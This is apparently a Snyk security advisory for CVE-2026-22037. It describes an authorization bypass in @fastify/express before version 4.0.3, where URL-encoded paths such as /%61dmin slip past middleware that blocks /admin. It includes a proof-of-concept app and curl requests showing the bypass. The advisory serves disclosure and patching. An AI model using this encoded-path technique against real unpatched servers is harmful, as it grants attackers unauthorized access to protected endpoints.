Improper Handling of URL Encoding (Hex Encoding) Affecting @fastify/express package, versions <4.0.3


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.08% (25th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-FASTIFYEXPRESS-15038741
  • published20 Jan 2026
  • disclosed19 Jan 2026
  • creditHarsh Jaiswal

Introduced: 19 Jan 2026

CVE-2026-22037  (opens in a new tab)
CWE-177  (opens in a new tab)

How to fix?

Upgrade @fastify/express to version 4.0.3 or higher.

Overview

@fastify/express is an Express compatibility layer for Fastify

Affected versions of this package are vulnerable to Improper Handling of URL Encoding (Hex Encoding) where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). An attacker can gain unauthorized access to protected endpoints by sending such requests.

PoC

Step 1: Run the following Fastify application (save as app.js):

const fastify = require('fastify')({ logger: true });

async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express'));

// Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); });

// Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; });

fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; });

fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; });

// Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } }

start();

Step 2: Execute the attack.

➜  ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>

(fastify express)

➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"}

References

CVSS Base Scores

version 4.0
version 3.1